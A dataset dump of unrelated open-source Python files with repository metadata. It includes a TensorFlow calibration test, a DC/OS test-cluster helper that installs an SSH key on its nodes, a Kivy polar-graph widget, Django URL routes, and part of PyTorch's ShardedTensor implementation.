self._add_function_approximation_to_calibration_proto( calibration_config, class_agnostic_x, class_agnostic_y, class_id=None) def graph_fn(): calibration_fn = calibration_builder.build(calibration_config) # batch_size = 2, num_classes = 2, num_anchors = 2. class_predictions_with_background = tf.constant( [[[0.1, 0.2, 0.3], [0.4, 0.5, 0.0]], [[0.6, 0.7, 0.8], [0.9, 1.0, 1.0]]], dtype=tf.float32) # Everything should map to 0.5 if classes are ignored. calibrated_scores = calibration_fn(class_predictions_with_background) return calibrated_scores calibrated_scores_np = self.execute(graph_fn, []) self.assertAllClose(calibrated_scores_np, [[[0.05, 0.1, 0.15], [0.2, 0.25, 0.0]], [[0.35, 0.45, 0.55], [0.65, 0.75, 0.75]]]) def test_multiclass_function_approximations(self): """Tests that calibration produces correct multiclass values.""" # Background class (0-index) maps all predictions to 0.5. class_0_x = np.asarray([0.0, 0.5, 1.0]) class_0_y = np.asarray([0.5, 0.5, 0.5]) calibration_config = calibration_pb2.CalibrationConfig() self._add_function_approximation_to_calibration_proto( calibration_config, class_0_x, class_0_y, class_id=0) # Class id 1 will interpolate using these values. class_1_x = np.asarray([0.0, 0.2, 1.0]) class_1_y = np.asarray([0.0, 0.6, 1.0]) self._add_function_approximation_to_calibration_proto( calibration_config, class_1_x, class_1_y, class_id=1) def graph_fn(): calibration_fn = calibration_builder.build(calibration_config) # batch_size = 2, num_classes = 2, num_anchors = 2. class_predictions_with_background = tf.constant( [[[0.1, 0.2], [0.9, 0.1]], [[0.6, 0.4], [0.08, 0.92]]], dtype=tf.float32) calibrated_scores = calibration_fn(class_predictions_with_background) return calibrated_scores calibrated_scores_np = self.execute(graph_fn, []) self.assertAllClose(calibrated_scores_np, [[[0.5, 0.6], [0.5, 0.3]], [[0.5, 0.7], [0.5, 0.96]]]) def test_temperature_scaling(self): """Tests that calibration produces correct temperature scaling values.""" calibration_config = calibration_pb2.CalibrationConfig() calibration_config.temperature_scaling_calibration.scaler = 2.0 def graph_fn(): calibration_fn = calibration_builder.build(calibration_config) # batch_size = 2, num_classes = 2, num_anchors = 2. class_predictions_with_background = tf.constant( [[[0.1, 0.2, 0.3], [0.4, 0.5, 0.0]], [[0.6, 0.7, 0.8], [0.9, 1.0, 1.0]]], dtype=tf.float32) calibrated_scores = calibration_fn(class_predictions_with_background) return calibrated_scores calibrated_scores_np = self.execute(graph_fn, []) self.assertAllClose(calibrated_scores_np, [[[0.05, 0.1, 0.15], [0.2, 0.25, 0.0]], [[0.3, 0.35, 0.4], [0.45, 0.5, 0.5]]]) def test_temperature_scaling_incorrect_value_error(self): calibration_config = calibration_pb2.CalibrationConfig() calibration_config.temperature_scaling_calibration.scaler = 0 calibration_fn = calibration_builder.build(calibration_config) class_predictions_with_background = tf.constant( [[[0.1, 0.2, 0.3]]], dtype=tf.float32) with self.assertRaises(ValueError): calibration_fn(class_predictions_with_background) def test_skips_class_when_calibration_parameters_not_present(self): """Tests that graph fails when parameters not present for all classes.""" # Only adding calibration parameters for class id = 0, even though class id # 1 is present in the data. class_0_x = np.asarray([0.0, 0.5, 1.0]) class_0_y = np.asarray([0.5, 0.5, 0.5]) calibration_config = calibration_pb2.CalibrationConfig() self._add_function_approximation_to_calibration_proto( calibration_config, class_0_x, class_0_y, class_id=0) def graph_fn(): calibration_fn = calibration_builder.build(calibration_config) # batch_size = 2, num_classes = 2, num_anchors = 2. class_predictions_with_background = tf.constant( [[[0.1, 0.2], [0.9, 0.1]], [[0.6, 0.4], [0.08, 0.92]]], dtype=tf.float32) calibrated_scores = calibration_fn(class_predictions_with_background) return calibrated_scores calibrated_scores_np = self.execute(graph_fn, []) self.assertAllClose(calibrated_scores_np, [[[0.5, 0.2], [0.5, 0.1]], [[0.5, 0.4], [0.5, 0.92]]]) if __name__ == '__main__': tf.test.main()

44.179487

80

0.667054

from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from scipy import interpolate from six.moves import zip import tensorflow as tf from object_detection.builders import calibration_builder from object_detection.protos import calibration_pb2 from object_detection.utils import test_case class CalibrationBuilderTest(test_case.TestCase): def test_tf_linear_interp1d_map(self): def graph_fn(): tf_x = tf.constant([0., 0.5, 1.]) tf_y = tf.constant([0.5, 0.5, 0.5]) new_x = tf.constant([0., 0.25, 0.5, 0.75, 1.]) tf_map_outputs = calibration_builder._tf_linear_interp1d( new_x, tf_x, tf_y) return tf_map_outputs tf_map_outputs_np = self.execute(graph_fn, []) self.assertAllClose(tf_map_outputs_np, [0.5, 0.5, 0.5, 0.5, 0.5]) def test_tf_linear_interp1d_interpolate(self): def graph_fn(): tf_x = tf.constant([0., 0.5, 1.]) tf_y = tf.constant([0.6, 0.7, 1.0]) new_x = tf.constant([0., 0.25, 0.5, 0.75, 1.]) tf_interpolate_outputs = calibration_builder._tf_linear_interp1d( new_x, tf_x, tf_y) return tf_interpolate_outputs tf_interpolate_outputs_np = self.execute(graph_fn, []) self.assertAllClose(tf_interpolate_outputs_np, [0.6, 0.65, 0.7, 0.85, 1.]) @staticmethod def _get_scipy_interp1d(new_x, x, y): interpolation1d_fn = interpolate.interp1d(x, y) return interpolation1d_fn(new_x) def _get_tf_interp1d(self, new_x, x, y): def graph_fn(): tf_interp_outputs = calibration_builder._tf_linear_interp1d( tf.convert_to_tensor(new_x, dtype=tf.float32), tf.convert_to_tensor(x, dtype=tf.float32), tf.convert_to_tensor(y, dtype=tf.float32)) return tf_interp_outputs np_tf_interp_outputs = self.execute(graph_fn, []) return np_tf_interp_outputs def test_tf_linear_interp1d_against_scipy_map(self): length = 10 np_x = np.linspace(0, 1, length) np_y_map = np.repeat(0.5, length) test_data_np = np.linspace(0, 1, length * 10) scipy_map_outputs = self._get_scipy_interp1d(test_data_np, np_x, np_y_map) np_tf_map_outputs = self._get_tf_interp1d(test_data_np, np_x, np_y_map) self.assertAllClose(scipy_map_outputs, np_tf_map_outputs) def test_tf_linear_interp1d_against_scipy_interpolate(self): length = 10 np_x = np.linspace(0, 1, length) np_y_interp = np.linspace(0.5, 1, length) test_data_np = np.linspace(0, 1, length * 10) scipy_interp_outputs = self._get_scipy_interp1d(test_data_np, np_x, np_y_interp) np_tf_interp_outputs = self._get_tf_interp1d(test_data_np, np_x, np_y_interp) self.assertAllClose(scipy_interp_outputs, np_tf_interp_outputs) @staticmethod def _add_function_approximation_to_calibration_proto(calibration_proto, x_array, y_array, class_id): if class_id is not None: function_approximation = ( calibration_proto.class_id_function_approximations .class_id_xy_pairs_map[class_id]) else: function_approximation = ( calibration_proto.function_approximation.x_y_pairs) for x, y in zip(x_array, y_array): x_y_pair_message = function_approximation.x_y_pair.add() x_y_pair_message.x = x x_y_pair_message.y = y def test_class_agnostic_function_approximation(self): class_agnostic_x = np.asarray([0.0, 0.5, 1.0]) class_agnostic_y = np.asarray([0.0, 0.25, 0.75]) calibration_config = calibration_pb2.CalibrationConfig() self._add_function_approximation_to_calibration_proto( calibration_config, class_agnostic_x, class_agnostic_y, class_id=None) def graph_fn(): calibration_fn = calibration_builder.build(calibration_config) class_predictions_with_background = tf.constant( [[[0.1, 0.2, 0.3], [0.4, 0.5, 0.0]], [[0.6, 0.7, 0.8], [0.9, 1.0, 1.0]]], dtype=tf.float32) calibrated_scores = calibration_fn(class_predictions_with_background) return calibrated_scores calibrated_scores_np = self.execute(graph_fn, []) self.assertAllClose(calibrated_scores_np, [[[0.05, 0.1, 0.15], [0.2, 0.25, 0.0]], [[0.35, 0.45, 0.55], [0.65, 0.75, 0.75]]]) def test_multiclass_function_approximations(self): class_0_x = np.asarray([0.0, 0.5, 1.0]) class_0_y = np.asarray([0.5, 0.5, 0.5]) calibration_config = calibration_pb2.CalibrationConfig() self._add_function_approximation_to_calibration_proto( calibration_config, class_0_x, class_0_y, class_id=0) class_1_x = np.asarray([0.0, 0.2, 1.0]) class_1_y = np.asarray([0.0, 0.6, 1.0]) self._add_function_approximation_to_calibration_proto( calibration_config, class_1_x, class_1_y, class_id=1) def graph_fn(): calibration_fn = calibration_builder.build(calibration_config) class_predictions_with_background = tf.constant( [[[0.1, 0.2], [0.9, 0.1]], [[0.6, 0.4], [0.08, 0.92]]], dtype=tf.float32) calibrated_scores = calibration_fn(class_predictions_with_background) return calibrated_scores calibrated_scores_np = self.execute(graph_fn, []) self.assertAllClose(calibrated_scores_np, [[[0.5, 0.6], [0.5, 0.3]], [[0.5, 0.7], [0.5, 0.96]]]) def test_temperature_scaling(self): calibration_config = calibration_pb2.CalibrationConfig() calibration_config.temperature_scaling_calibration.scaler = 2.0 def graph_fn(): calibration_fn = calibration_builder.build(calibration_config) class_predictions_with_background = tf.constant( [[[0.1, 0.2, 0.3], [0.4, 0.5, 0.0]], [[0.6, 0.7, 0.8], [0.9, 1.0, 1.0]]], dtype=tf.float32) calibrated_scores = calibration_fn(class_predictions_with_background) return calibrated_scores calibrated_scores_np = self.execute(graph_fn, []) self.assertAllClose(calibrated_scores_np, [[[0.05, 0.1, 0.15], [0.2, 0.25, 0.0]], [[0.3, 0.35, 0.4], [0.45, 0.5, 0.5]]]) def test_temperature_scaling_incorrect_value_error(self): calibration_config = calibration_pb2.CalibrationConfig() calibration_config.temperature_scaling_calibration.scaler = 0 calibration_fn = calibration_builder.build(calibration_config) class_predictions_with_background = tf.constant( [[[0.1, 0.2, 0.3]]], dtype=tf.float32) with self.assertRaises(ValueError): calibration_fn(class_predictions_with_background) def test_skips_class_when_calibration_parameters_not_present(self): class_0_x = np.asarray([0.0, 0.5, 1.0]) class_0_y = np.asarray([0.5, 0.5, 0.5]) calibration_config = calibration_pb2.CalibrationConfig() self._add_function_approximation_to_calibration_proto( calibration_config, class_0_x, class_0_y, class_id=0) def graph_fn(): calibration_fn = calibration_builder.build(calibration_config) class_predictions_with_background = tf.constant( [[[0.1, 0.2], [0.9, 0.1]], [[0.6, 0.4], [0.08, 0.92]]], dtype=tf.float32) calibrated_scores = calibration_fn(class_predictions_with_background) return calibrated_scores calibrated_scores_np = self.execute(graph_fn, []) self.assertAllClose(calibrated_scores_np, [[[0.5, 0.2], [0.5, 0.1]], [[0.5, 0.4], [0.5, 0.92]]]) if __name__ == '__main__': tf.test.main()

true

790b173432bf26c0008a0f7d958ea9da6255f9ea

814

py

Python

src/dcos_e2e_cli/common/credentials.py

jongiddy/dcos-e2e

b52ef9a1097a8fb328902064345cc6c8b0bf5779

[ "Apache-2.0" ]

63

2018-05-17T21:02:14.000Z

2021-11-15T19:18:03.000Z

src/dcos_e2e_cli/common/credentials.py

jongiddy/dcos-e2e

b52ef9a1097a8fb328902064345cc6c8b0bf5779

[ "Apache-2.0" ]

225

2017-09-08T02:24:58.000Z

2018-05-16T12:18:58.000Z

src/dcos_e2e_cli/common/credentials.py

jongiddy/dcos-e2e

b52ef9a1097a8fb328902064345cc6c8b0bf5779

[ "Apache-2.0" ]

21

2018-06-14T21:58:24.000Z

2021-11-15T19:18:06.000Z

""" Credentials used when making CLIs. """ from pathlib import Path from dcos_e2e.cluster import Cluster DEFAULT_SUPERUSER_USERNAME = 'bootstrapuser' DEFAULT_SUPERUSER_PASSWORD = 'deleteme' def add_authorized_key(cluster: Cluster, public_key_path: Path) -> None: """ Add an authorized key to all nodes in the given cluster. """ nodes = { *cluster.masters, *cluster.agents, *cluster.public_agents, } for node in nodes: node.run( args=['echo', '', '>>', '/root/.ssh/authorized_keys'], shell=True, ) node.run( args=[ 'echo', public_key_path.read_text(), '>>', '/root/.ssh/authorized_keys', ], shell=True, )

22

72

0.540541

from pathlib import Path from dcos_e2e.cluster import Cluster DEFAULT_SUPERUSER_USERNAME = 'bootstrapuser' DEFAULT_SUPERUSER_PASSWORD = 'deleteme' def add_authorized_key(cluster: Cluster, public_key_path: Path) -> None: nodes = { *cluster.masters, *cluster.agents, *cluster.public_agents, } for node in nodes: node.run( args=['echo', '', '>>', '/root/.ssh/authorized_keys'], shell=True, ) node.run( args=[ 'echo', public_key_path.read_text(), '>>', '/root/.ssh/authorized_keys', ], shell=True, )

true

790b1759dac2822a565da21263cc32769cb33853

2,698

py

Python

Exode/UI/polarGraph.py

RenatoTorres/Exode

fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a

[ "Apache-2.0" ]

null

Exode/UI/polarGraph.py

RenatoTorres/Exode

fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a

[ "Apache-2.0" ]

1

2018-08-09T23:45:01.000Z

Exode/UI/polarGraph.py

RenatoTorres/Exode

fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a

[ "Apache-2.0" ]

null

from kivy.lang import Builder from kivy.uix.widget import Widget from kivy.uix.floatlayout import FloatLayout from kivy.uix.gridlayout import GridLayout from kivy.graphics import * from kivy.graphics.texture import Texture from kivy.properties import ListProperty from .gardenGraph import Plot from .ExdLabel import * import math class PolarGraph(Widget): def __init__(self, radial_tick=4, linear_tick=10, scale=10, **kwargs): self.bind(pos=self.draw, size=self.draw) self.tick_color= [0.51, 0.51, 0.51, 1] self.plots= [] self.nb_radial_tick= radial_tick self.nb_linear_tick= linear_tick self.scale= scale super(PolarGraph, self).__init__(**kwargs) self.ratio= 1 if self.size_hint[0] != None: self.ratio= self.size_hint[0] def draw(self, *args): self.canvas.clear() if hasattr(self, "parent"): self.ratio= min(self.parent.size_hint_x, self.parent.size_hint_y) self.dim= min(self.width, self.height) self.update_ticks(*args) self.update_plots(*args) def update_ticks(self, *args): with self.canvas: Color(*self.tick_color) for i in range(1,self.nb_radial_tick+1): Line(circle=(self.center_x, self.center_y, self.ratio*i*(self.height/self.nb_radial_tick)/2)) for i in range(1,self.nb_linear_tick+1): tick_len = self.dim*self.ratio*.5 Line(points=[self.center_x-tick_len*math.cos(i*(3.14/self.nb_linear_tick)), self.center_y-tick_len*math.sin(i*(3.14/self.nb_linear_tick)), self.center_x+tick_len*math.cos(i*(3.14/self.nb_linear_tick)), self.center_y+tick_len*math.sin(i*(3.14/self.nb_linear_tick))], width=1) def add_plot(self, plot): if plot in self.plots: return plot.bind(on_clear_plot=self.draw) self.update_plots() self.plots.append(plot) def update_plots(self, *args): for plot in self.plots: with self.canvas: Color(plot.color) for pt in plot.points: t= pt[0] a= math.radians(pt[1][0]) m= pt[1][1] x= self.center_x + math.cos(a)*min(1,m/self.scale)*(self.dim*self.ratio)*.5 y= self.center_y + math.sin(a)*min(1,m/self.scale)*(self.dim*self.ratio)*.5 Rectangle(pos=(x,y), size=(2,2)) class polarPlot(Plot): pass

31.372093

95

0.569311

from kivy.lang import Builder from kivy.uix.widget import Widget from kivy.uix.floatlayout import FloatLayout from kivy.uix.gridlayout import GridLayout from kivy.graphics import * from kivy.graphics.texture import Texture from kivy.properties import ListProperty from .gardenGraph import Plot from .ExdLabel import * import math class PolarGraph(Widget): def __init__(self, radial_tick=4, linear_tick=10, scale=10, **kwargs): self.bind(pos=self.draw, size=self.draw) self.tick_color= [0.51, 0.51, 0.51, 1] self.plots= [] self.nb_radial_tick= radial_tick self.nb_linear_tick= linear_tick self.scale= scale super(PolarGraph, self).__init__(**kwargs) self.ratio= 1 if self.size_hint[0] != None: self.ratio= self.size_hint[0] def draw(self, *args): self.canvas.clear() if hasattr(self, "parent"): self.ratio= min(self.parent.size_hint_x, self.parent.size_hint_y) self.dim= min(self.width, self.height) self.update_ticks(*args) self.update_plots(*args) def update_ticks(self, *args): with self.canvas: Color(*self.tick_color) for i in range(1,self.nb_radial_tick+1): Line(circle=(self.center_x, self.center_y, self.ratio*i*(self.height/self.nb_radial_tick)/2)) for i in range(1,self.nb_linear_tick+1): tick_len = self.dim*self.ratio*.5 Line(points=[self.center_x-tick_len*math.cos(i*(3.14/self.nb_linear_tick)), self.center_y-tick_len*math.sin(i*(3.14/self.nb_linear_tick)), self.center_x+tick_len*math.cos(i*(3.14/self.nb_linear_tick)), self.center_y+tick_len*math.sin(i*(3.14/self.nb_linear_tick))], width=1) def add_plot(self, plot): if plot in self.plots: return plot.bind(on_clear_plot=self.draw) self.update_plots() self.plots.append(plot) def update_plots(self, *args): for plot in self.plots: with self.canvas: Color(plot.color) for pt in plot.points: t= pt[0] a= math.radians(pt[1][0]) m= pt[1][1] x= self.center_x + math.cos(a)*min(1,m/self.scale)*(self.dim*self.ratio)*.5 y= self.center_y + math.sin(a)*min(1,m/self.scale)*(self.dim*self.ratio)*.5 Rectangle(pos=(x,y), size=(2,2)) class polarPlot(Plot): pass

true

790b17823832d542e9f2d0aff12b5b79aa574df5

684

py

Python

wouso/interface/apps/files/cpanel_urls.py

AlexandruGhergut/wouso

f26244ff58ae626808ae8c58ccc93d21f9f2666f

[ "Apache-2.0" ]

117

2015-01-02T18:07:33.000Z

2021-01-06T22:36:25.000Z

wouso/interface/apps/files/cpanel_urls.py

AlexandruGhergut/wouso

f26244ff58ae626808ae8c58ccc93d21f9f2666f

[ "Apache-2.0" ]

229

2015-01-12T07:07:58.000Z

2019-10-12T08:27:01.000Z

wouso/interface/apps/files/cpanel_urls.py

AlexandruGhergut/wouso

f26244ff58ae626808ae8c58ccc93d21f9f2666f

[ "Apache-2.0" ]

96

2015-01-07T05:26:09.000Z

2020-06-25T07:28:51.000Z

from django.conf.urls import patterns, url urlpatterns = patterns('wouso.interface.apps.files.cpanel_views', url(r'^$', 'files', name='files'), url(r'^add_file/$', 'add_file', name='add_file'), url(r'^edit_file/(?P<pk>\d+)/$', 'edit_file', name='edit_file'), url(r'^delete_file/(?P<pk>\d+)/$', 'delete_file', name='delete_file'), url(r'^manage_categories/$', 'manage_categories', name='manage_file_categories'), url(r'^add_category/$', 'add_category', name='add_file_category'), url(r'^edit_category/(?P<pk>\d+)/$', 'edit_category', name='edit_file_category'), url(r'^delete_category/(?P<pk>\d+)/$', 'delete_category', name='delete_file_category'), )

52.615385

91

0.663743

from django.conf.urls import patterns, url urlpatterns = patterns('wouso.interface.apps.files.cpanel_views', url(r'^$', 'files', name='files'), url(r'^add_file/$', 'add_file', name='add_file'), url(r'^edit_file/(?P<pk>\d+)/$', 'edit_file', name='edit_file'), url(r'^delete_file/(?P<pk>\d+)/$', 'delete_file', name='delete_file'), url(r'^manage_categories/$', 'manage_categories', name='manage_file_categories'), url(r'^add_category/$', 'add_category', name='add_file_category'), url(r'^edit_category/(?P<pk>\d+)/$', 'edit_category', name='edit_file_category'), url(r'^delete_category/(?P<pk>\d+)/$', 'delete_category', name='delete_file_category'), )

true

790b182fac02f2f5d7712f5ef02a0852c6baebfa

1,162

py

Python

ajax/urls.py

joestump/django-ajax

b71619d5c00d8e0bb990ddbea2c93cf303dc2c80

[ "BSD-3-Clause" ]

62

2015-01-09T23:02:06.000Z

2020-12-27T19:44:58.000Z

ajax/urls.py

joestump/django-ajax

b71619d5c00d8e0bb990ddbea2c93cf303dc2c80

[ "BSD-3-Clause" ]

7

2015-03-26T21:52:54.000Z

2016-06-20T20:53:43.000Z

ajax/urls.py

joestump/django-ajax

b71619d5c00d8e0bb990ddbea2c93cf303dc2c80

[ "BSD-3-Clause" ]

12

2015-02-23T11:58:44.000Z

2020-10-26T22:32:58.000Z

from __future__ import absolute_import from django.conf.urls import * from django.views.static import serve from ajax import views import django import os JAVASCRIPT_PATH = "%s/js" % os.path.dirname(__file__) if django.VERSION < (1, 8): urlpatterns = patterns('ajax.views', (r'^(?P<application>\w+)/(?P<model>\w+).json', 'endpoint_loader'), (r'^(?P<application>\w+)/(?P<model>\w+)/(?P<method>\w+).json', 'endpoint_loader'), (r'^(?P<application>\w+)/(?P<model>\w+)/(?P<pk>\d+)/(?P<method>\w+)/?(?P<taggit_command>(add|remove|set|clear|similar))?.json$', 'endpoint_loader'), (r'^js/(?P<path>.*)$', serve, {'document_root': JAVASCRIPT_PATH}), ) else: urlpatterns = [ url(r'^(?P<application>\w+)/(?P<model>\w+).json', views.endpoint_loader), url(r'^(?P<application>\w+)/(?P<model>\w+)/(?P<method>\w+).json', views.endpoint_loader), url(r'^(?P<application>\w+)/(?P<model>\w+)/(?P<pk>\d+)/(?P<method>\w+)/?(?P<taggit_command>(add|remove|set|clear|similar))?.json$', views.endpoint_loader), url(r'^js/(?P<path>.*)$', serve, {'document_root': JAVASCRIPT_PATH}), ]

44.692308

163

0.598967

from __future__ import absolute_import from django.conf.urls import * from django.views.static import serve from ajax import views import django import os JAVASCRIPT_PATH = "%s/js" % os.path.dirname(__file__) if django.VERSION < (1, 8): urlpatterns = patterns('ajax.views', (r'^(?P<application>\w+)/(?P<model>\w+).json', 'endpoint_loader'), (r'^(?P<application>\w+)/(?P<model>\w+)/(?P<method>\w+).json', 'endpoint_loader'), (r'^(?P<application>\w+)/(?P<model>\w+)/(?P<pk>\d+)/(?P<method>\w+)/?(?P<taggit_command>(add|remove|set|clear|similar))?.json$', 'endpoint_loader'), (r'^js/(?P<path>.*)$', serve, {'document_root': JAVASCRIPT_PATH}), ) else: urlpatterns = [ url(r'^(?P<application>\w+)/(?P<model>\w+).json', views.endpoint_loader), url(r'^(?P<application>\w+)/(?P<model>\w+)/(?P<method>\w+).json', views.endpoint_loader), url(r'^(?P<application>\w+)/(?P<model>\w+)/(?P<pk>\d+)/(?P<method>\w+)/?(?P<taggit_command>(add|remove|set|clear|similar))?.json$', views.endpoint_loader), url(r'^js/(?P<path>.*)$', serve, {'document_root': JAVASCRIPT_PATH}), ]

true

790b18c838d2e1ac885c3773cd7a0f20395937c4

30,641

py

Python

torch/distributed/_sharded_tensor/api.py

steffenerickson/pytorch

0b656c4c69ce77ecd9aace486e471917e4660746

[ "Intel" ]

1

2022-02-13T15:29:24.000Z

torch/distributed/_sharded_tensor/api.py

steffenerickson/pytorch

0b656c4c69ce77ecd9aace486e471917e4660746

[ "Intel" ]

null

torch/distributed/_sharded_tensor/api.py

steffenerickson/pytorch

0b656c4c69ce77ecd9aace486e471917e4660746

[ "Intel" ]

null

from dataclasses import dataclass, field from enum import Enum from typing import ( Callable, Dict, List, Optional, Union ) import weakref import threading import torch import torch.distributed as dist from torch.distributed import rpc from torch.distributed import distributed_c10d from torch.distributed._sharding_spec import ( ChunkShardingSpec, EnumerableShardingSpec, ShardMetadata, ShardingSpec, ) from torch.distributed._sharding_spec._internals import ( check_tensor, get_split_size, get_chunked_dim_size, validate_non_overlapping_shards_metadata, ) from torch.types import Number from .metadata import TensorProperties, ShardedTensorMetadata from .shard import Shard from .utils import ( get_current_process_group, _flatten_tensor_size, _parse_and_validate_remote_device, _validate_output_tensor_for_gather, build_metadata_from_local_shards, build_global_metadata ) # Tracking for sharded tensor objects. _sharded_tensor_lock = threading.Lock() _sharded_tensor_current_id = 0 _sharded_tensor_map: Dict[int, 'weakref.ReferenceType[ShardedTensor]'] = {} # Custom sharded ops _SHARDED_OPS: Dict[str, Callable] = {} def _register_sharded_op(op, func): from inspect import signature if len(signature(func).parameters) != 4: raise TypeError( f'Custom sharded op function expects signature: ' f'(types, args, kwargs, process_group), but received ' f'signature: {signature(func)}') global _SHARDED_OPS _SHARDED_OPS[op] = func def _register_remote_shards(sharded_tensor_id: int, rrefs: List[rpc.RRef[Shard]], rpc_rank: int): with _sharded_tensor_lock: if sharded_tensor_id not in _sharded_tensor_map: raise RuntimeError( f'Could not find sharded_tensor_id: {sharded_tensor_id} in map: {_sharded_tensor_map.keys()}') sharded_tensor = _sharded_tensor_map[sharded_tensor_id]() if sharded_tensor is None: raise RuntimeError('ShardedTensor weakref has been deallocated') else: sharded_tensor._register_remote_shards(rrefs, rpc_rank) class CreateOp(Enum): EMPTY = 0 FULL = 1 ONES = 2 RAND = 3 ZEROS = 4 @dataclass class TensorInitParams(object): """ Container for list of common params to create new local tensor. """ create_op: CreateOp # needed when create_op is FULL # default set to False (not None) since None is incompatible with Number. fill_value: Number = field(default=False) tensor_properties: TensorProperties = field( default=TensorProperties(dtype=torch.get_default_dtype(), layout=torch.strided, requires_grad=False, memory_format=torch.contiguous_format, pin_memory=False)) class ShardedTensor(object): """ ShardedTensor is an abstraction to represent Tensors that are sharded across multiple devices and multiple processes. ShardedTensor is initialized in an SPMD like fashion where each rank initializes the ShardedTensor. The ShardedTensor object on each rank then only stores the local shard for the Tensor and provides global metadata for all the shards. ShardedTensor doesn't provide any Tensor like operations but is a wrapper providing the Tensor representing the local shard and the global metadata. Using these, users can build their custom distributed sharded computations on top of this primitive. The local shards are all initialized using the create_op specified by tensor_init_params.create_op, e.g., torch.ones, or torch.empty Args: sharding_spec (:class:`torch.distributed._sharding_spec.ShardingSpec`): The specification describing how to shard the Tensor. size (int...): a sequence of integers defining the shape of the output tensor. Can be a variable number of arguments or a collection like a list or tuple. Keyword args: tensor_init_params (:class: `TensorInitParams`): common params to create tensor. init_rrefs (bool, optional): Whether or not to initialize :class:`torch.distributed.rpc.RRef`s pointing to remote shards. Need to initialize the RPC Framework if specified as ``True``. Default: ``False``. .. note:: ShardedTensor uses collectives to do various operations, i.e. it uses all_gather to do cross rank validations. For NCCL-based processed groups, internal tensor representations of objects must be moved to the GPU device before communication takes place. In this case, the device used is given by ``torch.cuda.current_device()`` and it is the user's responsiblity to ensure that this is set so that each rank has an individual GPU, via ``torch.cuda.set_device()`` """ def __new__(cls, *args, **kwargs): # Use __new__ for logging purposes. torch._C._log_api_usage_once("torch.distributed.sharded_tensor") return super(ShardedTensor, cls).__new__(cls) def __init__( self, sharding_spec: ShardingSpec, *size, tensor_init_params: TensorInitParams, process_group=None, init_rrefs=False, ): # prepare initialization, initialize fields like # _process_group, _local_shards, etc. self._prepare_init(process_group=process_group, init_rrefs=init_rrefs) if tensor_init_params.tensor_properties is None: raise ValueError('tensor_properties must not be None.') if tensor_init_params.tensor_properties.dtype is None: tensor_init_params.tensor_properties.dtype = torch.get_default_dtype() if tensor_init_params.tensor_properties.layout != torch.strided: raise ValueError('Only torch.strided layout is currently supported') if tensor_init_params.tensor_properties.memory_format != torch.contiguous_format: raise ValueError('Only torch.contiguous_format memory_format is currently supported') dims = _flatten_tensor_size(size) self._sharding_spec = sharding_spec if isinstance(self._sharding_spec, ChunkShardingSpec): self._init_chunked(dims, tensor_init_params) elif isinstance(self._sharding_spec, EnumerableShardingSpec): self._init_enumerable(dims, tensor_init_params) else: raise ValueError(f'Unsupported sharding_spec: {self._sharding_spec}') # do post initialization (i.e. register sharded_tensor_id, initialize_rpc) self._post_init() def _prepare_init(self, process_group=None, init_rrefs=False): self._init_rrefs = init_rrefs self._sharded_tensor_id = None self._process_group = ( process_group if process_group is not None else distributed_c10d._get_default_group() ) self._local_shards: List[Shard] = [] self._remote_shards: Dict[int, List[rpc.RRef[Shard]]] = {} def _post_init(self): # Initialize RPC if available. if self._init_rrefs: with _sharded_tensor_lock: global _sharded_tensor_current_id, _sharded_tensor_map self._sharded_tensor_id = _sharded_tensor_current_id _sharded_tensor_map[self._sharded_tensor_id] = weakref.ref(self) _sharded_tensor_current_id += 1 if not rpc._is_current_rpc_agent_set(): raise RuntimeError( 'RPC Framework needs to be initialized using' ' torch.distributed.rpc.init_rpc if init_rrefs is set to True') self._init_rpc() def __del__(self): # Clean up the global map. with _sharded_tensor_lock: global _sharded_tensor_current_id, _sharded_tensor_map if self._sharded_tensor_id in _sharded_tensor_map: _sharded_tensor_map.pop(self._sharded_tensor_id) # type: ignore[call-overload] def _init_rpc(self): # Validate PG and RPC ranks match. pg_rank = dist.get_rank() rpc_rank = rpc.get_worker_info().id if pg_rank != rpc_rank: raise ValueError( f'Default ProcessGroup and RPC ranks must be ' f'the same for ShardedTensor, found process group rank: ' f'{pg_rank} and RPC rank: {rpc_rank}' ) self._remote_shards = {} # Gather all the sharded tensor ids. worker_infos = rpc._get_current_rpc_agent().get_worker_infos() rank_to_name = {} name_to_rank = {} for worker_info in worker_infos: rank_to_name[worker_info.id] = worker_info.name name_to_rank[worker_info.name] = worker_info.id all_tensor_ids = rpc.api._all_gather(self._sharded_tensor_id) # Share the local shards to the entire world. futs = [] rpc_rank = rpc.get_worker_info().id for rank in range(dist.get_world_size()): # Skip self. if rank == dist.get_rank(): continue if len(self.local_shards()) != 0: rrefs: List[rpc.RRef[Shard]] = [rpc.RRef(shard) for shard in self.local_shards()] fut = rpc.rpc_async( rank, _register_remote_shards, args=(all_tensor_ids[rank_to_name[rank]], rrefs, rpc_rank)) futs.append(fut) torch.futures.wait_all(futs) # Barrier for all RPCs to finish on all ranks. rpc.api._all_gather(None) def gather( self, dst: int = 0, out: Optional[torch.Tensor] = None, ) -> None: """ Creates a full :class:`Tensor` on rank ``dst`` by gathering all shards of the sharded tensor. The API needs to be called on all ranks in SPMD fashion. All ranks should have the same ``dst``. ``out`` should be a tensor of the same size as the overall size of the sharded tensor on ``dst`` and ``None`` on all other ranks. Args: dst(int): The rank where full tensor is constructed. Default: 0 out (:class `torch.Tensor`, optional): The output full tensor. Must to be provided ONLY on ``dst`` rank. Default: ``None`` """ rank = dist.get_rank(self._process_group) full_size = self.metadata().size _validate_output_tensor_for_gather(rank, dst, full_size, out) local_shards = self.local_shards() world_size = dist.get_world_size(self._process_group) gathered_shards = [None] * world_size # will revise this part with CPU support and use dist.gather() # once NCCL support for gather() is ready # https://github.com/pytorch/pytorch/issues/66187 dist.all_gather_object( obj=local_shards, object_list=gathered_shards, group=self._process_group, ) if rank == dst: dims = len(full_size) for shards in gathered_shards: if shards is None: raise RuntimeError( 'Gathered shards cannot be None on dst rank {dst}' ) for shard in shards: metadata = shard.metadata tensor = shard.tensor out_narrow_view = out for dim in range(dims): out_narrow_view = out_narrow_view.narrow( dim, metadata.shard_offsets[dim], metadata.shard_sizes[dim], ) out_narrow_view.copy_(tensor) @classmethod def _init_from_local_shards( cls, local_shards: List[Shard], *global_size, process_group=None, init_rrefs=False, ): # STEP 1: Validate the Shardmetadatas locally process_group = ( process_group if process_group is not None else distributed_c10d._get_default_group() ) current_rank = dist.get_rank(process_group) world_size = dist.get_world_size(process_group) 